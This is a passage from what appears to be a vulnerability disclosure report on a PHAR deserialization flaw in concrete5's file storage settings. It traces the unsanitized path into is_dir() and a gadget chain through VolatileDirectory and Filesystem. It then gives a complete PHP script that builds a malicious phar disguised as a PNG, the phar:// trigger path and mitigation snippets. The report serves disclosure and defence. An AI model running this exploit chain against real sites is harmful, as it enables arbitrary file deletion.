crayons :)
the attacker possible to exploit that deletes arbitrary files.
file_exists()
, is_dir()
, etc.) under control, this method can be used with phar://
pseudo-protocol to directly perform deserialization without relying on unserialize()
[2].{F903876}
validateStorageRequest()
method to validate the location path code, which is (a).- File: concrete/controllers/single_page/dashboard/system/files/storage.php
- Line: 131 ~ 148
public function add()
{
$type = $this->validateStorageRequest(); // ................................................... (a)
if (!$this->token->validate('add')) {
$this->error->add($this->token->getErrorMessage());
}
if (!$this->error->has()) {
$configuration = $type->getConfigurationObject();
$configuration->loadFromRequest($this->request);
$factory = $this->app->make(StorageLocationFactory::class);
/* @var StorageLocationFactory $factory */
$location = $factory->create($configuration, $this->request->request->get('fslName'));
$location->setIsDefault($this->request->request->get('fslIsDefault'));
$location = $factory->persist($location);
$this->redirect('/dashboard/system/files/storage', 'storage_location_added');
}
$this->set('type', $type);
}
- File: concrete/controllers/single_page/dashboard/system/files/storage.php
- Line: 64 ~ 81
protected function validateStorageRequest()
{
$val = $this->app->make('helper/validation/strings');
$type = Type::getByID($this->request->get('fslTypeID'));
if ($type === null) {
$this->error->add(t('Invalid type object.'));
} else {
$e = $type->getConfigurationObject()->validateRequest($this->request); // ................... (b)
if (is_object($e)) {
$this->error->add($e);
}
}
if (!$val->notempty($this->request->request->get('fslName'))) {
$this->error->add(t('Your file storage location must have a name.'));
}
return $type;
}
is_dir
function will be executed by user input without any sanitization.- File: concrete/src/File/StorageLocation/Configuration/LocalConfiguration.php
- Line: 75 ~ 102
public function validateRequest(\Concrete\Core\Http\Request $req)
{
$app = Application::getFacadeApplication();
$e = $app->make('error');
$data = $req->get('fslType');
$fslID = $req->get('fslID');
$locationHasFiles = false;
$locationRootPath = null;
if (!empty($fslID)) {
$location = $app->make(StorageLocationFactory::class)->fetchByID($fslID);
if (is_object($location)) {
$locationHasFiles = $location->hasFiles();
$locationRootPath = $location->getConfigurationObject()->getRootPath();
}
}
$this->path = $data['path'];
if (!$this->path) {
$e->add(t("You must include a root path for this storage location."));
} elseif (!is_dir($this->path)) { // ......................................................... (c)
$e->add(t("The specified root path does not exist."));
} elseif ($this->path == '/') {
$e->add(t('Invalid path to file storage location. You may not choose the root directory.'));
} elseif ($locationHasFiles && $locationRootPath !== $this->path) {
$e->add(t('You can not change the root path of this storage location because it contains files.'));
}
return $e;
}
To exploit this bug, I will use POP (Property Oriented Programming) technique [3].
To chain gadgets, I found 3 nice gadgets to delete some files.
// File: concrete/src/File/Service/VolatileDirectory.php
// Class: VolatileDirectory
// Line: 75 ~ 84
public function __destruct()
{
if ($this->path !== null) {
try {
$this->filesystem->deleteDirectory($this->path); // ....................... (d)
} catch (Exception $foo) {
}
$this->path = null;
}
}
// File: concrete/vendor/illuminate/filesystem/Filesystem.php
// Class: Filesystem
// Line: 473 ~ 502
public function deleteDirectory($directory, $preserve = false)
{
if (! $this->isDirectory($directory)) {
return false;
}
$items = new FilesystemIterator($directory);
foreach ($items as $item) {
// If the item is a directory, we can just recurse into the function and
// delete that sub-directory otherwise we'll just delete the file and
// keep iterating through each file until the directory is cleaned.
if ($item->isDir() && ! $item->isLink()) {
$this->deleteDirectory($item->getPathname());
}
// If the item is just a file, we can go ahead and delete it since we're
// just looping through and waxing all of the files in this directory
// and calling directories recursively, so we delete the real path.
else {
$this->delete($item->getPathname()); // ............................ (e)
}
}
if (! $preserve) {
@rmdir($directory);
}
return true;
}
// File: concrete/vendor/illuminate/filesystem/Filesystem.php
// Class: Filesystem
// Line: 148 ~ 165
public function delete($paths)
{
$paths = is_array($paths) ? $paths : func_get_args();
$success = true;
foreach ($paths as $path) {
try {
if (! @unlink($path)) { // ........................................ (f)
$success = false;
}
} catch (ErrorException $e) {
$success = false;
}
}
return $success;
}
// Input: None
// Output: concrete5_exploit.png
<?php
// Gadgets
namespace Illuminate\Filesystem{
class Filesystem{}
}
namespace Concrete\Core\File\Service{
class VolatileDirectory{
protected $filesystem;
protected $path;
function __construct(){
$this->filesystem = new \Illuminate\Filesystem\Filesystem;
$this->path = "/var/www/html/phar_exploit/test_dir";
// Directory that including some files. (Attacker can set any path.)
}
}
}
// Generate phar file to exploit
namespace{
$output_path = __DIR__;
$exploit_file = $output_path . "/concrete5_exploit.phar";
$phar = new Phar($exploit_file);
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();");
$payload = new \Concrete\Core\File\Service\VolatileDirectory;
$phar->setMetadata($payload);
$phar->addFromString("dummy.txt", "DUMMY");
$phar->stopBuffering();
// Change file extension PHAR to PNG. (for bypassing file upload restrictions)
$changing_file_name = "concrete5_exploit.png";
$changing_internal_full_path = $output_path . "/" . $changing_file_name;
rename($exploit_file, $changing_file_name);
}
// Run below command to make PHAR file.
// php generate_exploit.php
{F903877}
{F903878}
phar://./application/files/6815/9449/9442/concrete5_exploit.png
{F903879}
{F903880}
{F903881}
To avoid PHAR deserialization bug, you should not fully trust the user’s input. You can sanitize a user’s input in various ways.
Occurring an error when the user enters “phar://”.
<?php
// input_path is phar://path/to/file
if(strpos($input_path, "phar://") !== FALSE){
trigger_error("Detected phar wrapper!", E_USER_ERROR); // phar detected.
}
else{
is_dir($input_path);
}
?>
Forcing path setting as a prefix.
<?php
// input_path is phar://path/to/file
$sanitized_path = "/" . $input_path;
// sanitized_path is /phar://path/to/file
// Therefore, PHP wouldn't recognize that file is phar wrapped file.
is_dir($sanitized_path);
?>
[1] https://blog.usejournal.com/diving-into-unserialize-phar-deserialization-98b1254380e9
[3] Stefan Esser, Utilizing Code Reuse/Return Oriented Programming in PHP Web Application Exploits, Blackhat USA 2010